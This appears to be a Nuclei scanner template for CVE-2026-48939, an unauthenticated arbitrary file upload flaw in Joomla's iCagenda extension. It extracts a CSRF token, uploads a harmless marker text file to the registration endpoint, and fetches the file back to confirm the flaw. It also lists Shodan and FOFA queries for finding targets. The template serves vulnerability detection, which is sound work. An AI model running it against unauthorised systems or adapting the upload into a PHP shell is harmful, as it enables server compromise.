Joomla iCagenda < 3.9.10 - Unauthenticated Arbitrary File Upload RCE

id: CVE-2026-48939

info:
  name: Joomla iCagenda < 3.9.10 - Unauthenticated Arbitrary File Upload RCE
  author: 0x_Akoko
  severity: critical
  description: |
    iCagenda extension for Joomla contains an unrestricted file upload vulnerability in the file attachment feature, letting attackers upload and execute arbitrary PHP code, exploit requires no special privileges.
  impact: |
    Attackers can upload and execute arbitrary PHP code, leading to full server compromise.
  remediation: |
    Update to the latest version of iCagenda extension.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-48939
    - https://github.com/ChiefYoru/CVE-2026-48939_PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-48939
    epss-score: 0.24347
    epss-percentile: 0.97649
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: joomlic
    product: icagenda
    framework: joomla
    shodan-query: http.html:"com_icagenda"
    fofa-query: body="com_icagenda"
  tags: cve,cve2026,joomla,icagenda,file-upload,rce,intrusive,kev,vkev

variables:
  marker: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /administrator/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "icagenda") || contains(body, "iCagenda")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf
        group: 1
        internal: true
        regex:
          - 'name="([a-f0-9]{32})"\s+value="1"'

  - raw:
      - |
        POST /index.php?option=com_icagenda&task=registration.submit HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----iCagendaBoundary48939
        X-Requested-With: XMLHttpRequest
        Referer: {{BaseURL}}/

        ------iCagendaBoundary48939
        Content-Disposition: form-data; name="{{csrf}}"

        1
        ------iCagendaBoundary48939
        Content-Disposition: form-data; name="jform[attachment]"; filename="{{marker}}.txt"
        Content-Type: text/plain

        CVE-2026-48939-FILE-UPLOAD-CONFIRMED
        ------iCagendaBoundary48939--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 303'
        internal: true

  - raw:
      - |
        GET /images/icagenda/frontend/attachments/{{marker}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-48939-FILE-UPLOAD-CONFIRMED")'
        condition: and
# digest: 4a0a0047304502205747637219d88b1b5d60928b0f3e8bcada5746e8bc3b512258bf538cc7267507022100903b91820aae893c34c53bb8f5dcee9eb71d58fc86246c783c409147513b2f83:922c64590222798bb761d5b6d8e72950